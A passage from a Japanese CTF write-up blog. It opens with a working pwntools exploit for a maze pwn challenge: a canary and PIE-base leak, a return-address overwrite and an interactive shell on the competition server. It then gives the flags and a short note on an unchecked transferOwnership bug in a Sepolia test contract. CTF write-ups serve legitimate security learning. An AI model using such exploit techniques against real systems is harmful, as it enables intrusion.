#9ECBFF;">&quot;AAAAAA&quot;</span><span>)</span><span style="color: #F97583;"> +</span><span style="color: #79B8FF;"> 5</span><span> :]</span></span> <span class="giallo-l"><span> canary, rbp</span><span style="color: #F97583;"> =</span><span> buf[:</span><span style="color: #79B8FF;">8</span><span>], buf[</span><span style="color: #79B8FF;">8</span><span>:]</span></span> <span class="giallo-l"><span> canary</span><span style="color: #F97583;"> =</span><span> s2u64(canary)</span><span style="color: #F97583;"> &amp; ~0x</span><span style="color: #79B8FF;">FF</span></span> <span class="giallo-l"><span> rbp</span><span style="color: #F97583;"> =</span><span> s2u64(rbp)</span></span> <span class="giallo-l"><span> success(</span><span style="color: #F97583;">f</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">{</span><span>canary</span><span style="color: #F97583;">=:x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&quot;</span><span>)</span></span> <span class="giallo-l"><span> success(</span><span style="color: #F97583;">f</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">{</span><span>rbp</span><span style="color: #F97583;">=:x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&quot;</span><span>)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #6A737D;"> # get X,Y</span></span> <span class="giallo-l"><span> cur</span><span style="color: #F97583;"> =</span><span> t.recvuntil(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&quot;)&quot;</span><span>)[:</span><span style="color: #F97583;">-</span><span style="color: #79B8FF;">1</span><span>]</span></span> <span class="giallo-l"><span> x, y</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> list</span><span>(</span><span style="color: #79B8FF;">map</span><span>(</span><span style="color: #79B8FF;">int</span><span>, cur.split(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&quot;, &quot;</span><span>)))</span></span> <span class="giallo-l"><span> success(</span><span style="color: #F97583;">f</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">{</span><span>x</span><span style="color: #F97583;">=</span><span style="color: #79B8FF;">} {</span><span>y</span><span style="color: #F97583;">=</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&quot;</span><span>)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #6A737D;"> # leak pie base</span></span> <span class="giallo-l"><span> t.sendline(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&quot;A&quot;</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 5</span><span style="color: #F97583;"> + b</span><span style="color: #9ECBFF;">&quot;B&quot;</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 8</span><span style="color: #F97583;"> + b</span><span style="color: #9ECBFF;">&quot;C&quot;</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 8</span><span>)</span></span> <span class="giallo-l"><span> buf</span><span style="color: #F97583;"> =</span><span> t.recvuntil(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">\n</span><span style="color: #9ECBFF;">(&quot;</span><span>)[:</span><span style="color: #F97583;">-</span><span style="color: #79B8FF;">2</span><span>]</span></span> <span class="giallo-l"><span> buf</span><span style="color: #F97583;"> =</span><span> buf[buf.find(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&quot;C&quot;</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 8</span><span>)</span><span style="color: #F97583;"> +</span><span style="color: #79B8FF;"> 8</span><span> :]</span></span> <span class="giallo-l"><span> pie_base</span><span style="color: #F97583;"> =</span><span> s2u64(buf)</span><span style="color: #F97583;"> - 0x</span><span style="color: #79B8FF;">3431</span></span> <span class="giallo-l"><span> success(</span><span style="color: #F97583;">f</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">{</span><span>pie_base</span><span style="color: #F97583;">=:x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&quot;</span><span>)</span></span> <span class="giallo-l"><span style="color: #F97583;"> assert not</span><span> pie_base</span><span style="color: #F97583;"> &amp; 0x</span><span style="color: #79B8FF;">FFF</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> fake_rbp</span><span style="color: #F97583;"> =</span><span> p64(rbp</span><span style="color: #F97583;"> - 0x</span><span style="color: #79B8FF;">280</span><span>)</span></span> <span class="giallo-l"><span> loop_addr</span><span style="color: #F97583;"> =</span><span> p64(pie_base</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">2F7A</span><span>)</span></span> <span class="giallo-l"><span> ret</span><span style="color: #F97583;"> =</span><span> p64(pie_base</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">12B8</span><span>)</span></span> <span class="giallo-l"><span> t.send(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&quot;A&quot;</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 5</span><span style="color: #F97583;"> +</span><span> p64(canary</span><span style="color: #F97583;"> +</span><span style="color: #79B8FF;"> 2</span><span>)</span><span style="color: #F97583;"> +</span><span> fake_rbp</span><span style="color: #F97583;"> +</span><span> ret</span><span style="color: #F97583;"> +</span><span> loop_addr)</span></span> <span class="giallo-l"><span> t.recvuntil(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&quot;Invalid input&quot;</span><span>)</span></span> <span class="giallo-l"><span> t.recvline()</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #6A737D;"> # Go corner</span></span> <span class="giallo-l"><span> x_dist</span><span style="color: #F97583;"> = b</span><span style="color: #9ECBFF;">&quot;a&quot;</span><span style="color: #F97583;"> if</span><span> x</span><span style="color: #F97583;"> &lt; 0x</span><span style="color: #79B8FF;">18F</span><span style="color: #F97583;"> -</span><span> x</span><span style="color: #F97583;"> else b</span><span style="color: #9ECBFF;">&quot;d&quot;</span></span> <span class="giallo-l"><span> x_times</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> min</span><span>(x</span><span style="color: #F97583;"> - 0x</span><span style="color: #79B8FF;">18</span><span>,</span><span style="color: #F97583;"> 0x</span><span style="color: #79B8FF;">177</span><span style="color: #F97583;"> -</span><span> x)</span></span> <span class="giallo-l"><span> info(</span><span style="color: #F97583;">f</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">{</span><span>x</span><span style="color: #F97583;">:x</span><span style="color: #79B8FF;">} {</span><span style="color: #9ECBFF;">&#39;-&#39;</span><span style="color: #F97583;"> if</span><span> x_dist</span><span style="color: #F97583;">==b</span><span style="color: #9ECBFF;">&#39;a&#39;</span><span style="color: #F97583;"> else</span><span style="color: #9ECBFF;"> &#39;+&#39;</span><span style="color: #79B8FF;">} {</span><span>x_times</span><span style="color: #F97583;">:x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&quot;</span><span>)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> y_dist</span><span style="color: #F97583;"> = b</span><span style="color: #9ECBFF;">&quot;w&quot;</span><span style="color: #F97583;"> if</span><span> y</span><span style="color: #F97583;"> &lt; 0x</span><span style="color: #79B8FF;">18F</span><span style="color: #F97583;"> -</span><span> y</span><span style="color: #F97583;"> else b</span><span style="color: #9ECBFF;">&quot;s&quot;</span></span> <span class="giallo-l"><span> y_times</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> min</span><span>(y</span><span style="color: #F97583;"> - 0x</span><span style="color: #79B8FF;">18</span><span>,</span><span style="color: #F97583;"> 0x</span><span style="color: #79B8FF;">177</span><span style="color: #F97583;"> -</span><span> y)</span></span> <span class="giallo-l"><span> info(</span><span style="color: #F97583;">f</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">{</span><span>y</span><span style="color: #F97583;">:x</span><span style="color: #79B8FF;">} {</span><span style="color: #9ECBFF;">&#39;-&#39;</span><span style="color: #F97583;"> if</span><span> y_dist</span><span style="color: #F97583;">==</span><span style="color: #9ECBFF;">&#39;w&#39;</span><span style="color: #F97583;"> else</span><span style="color: #9ECBFF;"> &#39;+&#39;</span><span style="color: #F97583;">:</span><span style="color: #79B8FF;">} {</span><span>y_times</span><span style="color: #F97583;">:x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&quot;</span><span>)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> for</span><span> _</span><span style="color: #F97583;"> in</span><span style="color: #79B8FF;"> range</span><span>(x_times):</span></span> <span class="giallo-l"><span> safe_move(x_dist)</span></span> <span class="giallo-l"><span> x</span><span style="color: #F97583;"> += -</span><span style="color: #79B8FF;">1</span><span style="color: #F97583;"> if</span><span> x_dist</span><span style="color: #F97583;"> == b</span><span style="color: #9ECBFF;">&quot;a&quot;</span><span style="color: #F97583;"> else</span><span style="color: #79B8FF;"> 1</span></span> <span class="giallo-l"><span style="color: #F97583;"> for</span><span> _</span><span style="color: #F97583;"> in</span><span style="color: #79B8FF;"> range</span><span>(y_times):</span></span> <span class="giallo-l"><span> safe_move(y_dist)</span></span> <span class="giallo-l"><span> y</span><span style="color: #F97583;"> += -</span><span style="color: #79B8FF;">1</span><span style="color: #F97583;"> if</span><span> y_dist</span><span style="color: #F97583;"> == b</span><span style="color: #9ECBFF;">&quot;w&quot;</span><span style="color: #F97583;"> else</span><span style="color: #79B8FF;"> 1</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> do_search()</span></span> <span class="giallo-l"><span> t.interactive()</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span>local</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span></span> <span class="giallo-l"><span>debug</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span></span> <span class="giallo-l"><span>radare</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>elf_name</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;./maze&quot;</span></span> <span class="giallo-l"><span>libc_name</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;&quot;</span></span> <span class="giallo-l"><span>remote_addr, remote_port</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;chall.pwnoh.io 13387&quot;</span><span>.split()</span></span> <span class="giallo-l"><span>elf:</span><span style="color: #79B8FF;"> ELF</span><span style="color: #F97583;"> =</span><span> ELF(elf_name)</span></span> <span class="giallo-l"><span style="color: #6A737D;"># libc: ELF = ELF(libc_name)</span></span> <span class="giallo-l"><span>script</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;&quot;&quot;</span></span> <span class="giallo-l"><span style="color: #9ECBFF;">&quot;&quot;&quot;</span></span> <span class="giallo-l"><span>found</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> False</span></span> <span class="giallo-l"><span style="color: #F97583;">for</span><span> _</span><span style="color: #F97583;"> in</span><span style="color: #79B8FF;"> range</span><span>(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">300</span><span>):</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> found:</span></span> <span class="giallo-l"><span style="color: #F97583;"> break</span></span> <span class="giallo-l"><span> t</span><span style="color: #F97583;"> =</span><span> create_io()</span></span> <span class="giallo-l"><span style="color: #F97583;"> try</span><span>:</span></span> <span class="giallo-l"><span> solve()</span></span> <span class="giallo-l"><span style="color: #F97583;"> except</span><span style="color: #79B8FF;"> Exception</span><span style="color: #F97583;"> as</span><span> e:</span></span> <span class="giallo-l"><span> warn(e)</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> debug:</span></span> <span class="giallo-l"><span style="color: #79B8FF;"> input</span><span>(</span><span style="color: #9ECBFF;">&quot;debugging...&quot;</span><span>)</span></span> <span class="giallo-l"><span style="color: #F97583;"> finally</span><span>:</span></span> <span class="giallo-l"><span> t.close()</span></span></code></pre> <p><code>flag: bctf{YouHavePwndDeath,ToYouGoesAFlag}</code></p> <h1 id="misc-new-management">[misc] New Management</h1> <p>Blockchain問です。Sepolia TestnetにデプロイされたSmart ContractにFlagを吐かせることが目標です。</p> <p>脆弱性は自明で、<code>transferOwnership</code>にチェックがついていません。 自分をOwnerにして<code>balance[msg.sender]</code>を増やすとFlagを得ることができます。 <code>flag: bctf{wh0_put_y0u_1n_ch4rg3}</code></p> <h1 id="pwn-lossless">[pwn] LossLess</h1> <p>WIP</p> <h1 id="misc-anyft">[misc] aNyFT</h1> <p>WIP</p> <h1 id="zhong-warini">終わりに</h1> <p>72時間CTFはいいですね。頭を冷やす時間あって、ゆっくり考えることができました。</p> <p>唯一の不満はヒープガチャがなかったことですね。寂しかった。</p> 2023-09-29T00:00:00+00:00 2023-09-29T00:00:00+00:00 Unknown https://blog.rqda.wtf/vsctf-2023/

<p>C++の問題が解きたかったので、<a rel="external" href="https://ctftime.org/event/2053">vsctf</a>のllm-wrapperを解きました。</p>

2023-09-18T00:00:00+00:00 2023-09-18T00:00:00+00:00 Unknown https://blog.rqda.wtf/about/

<p>食べて寝るだけ。</p>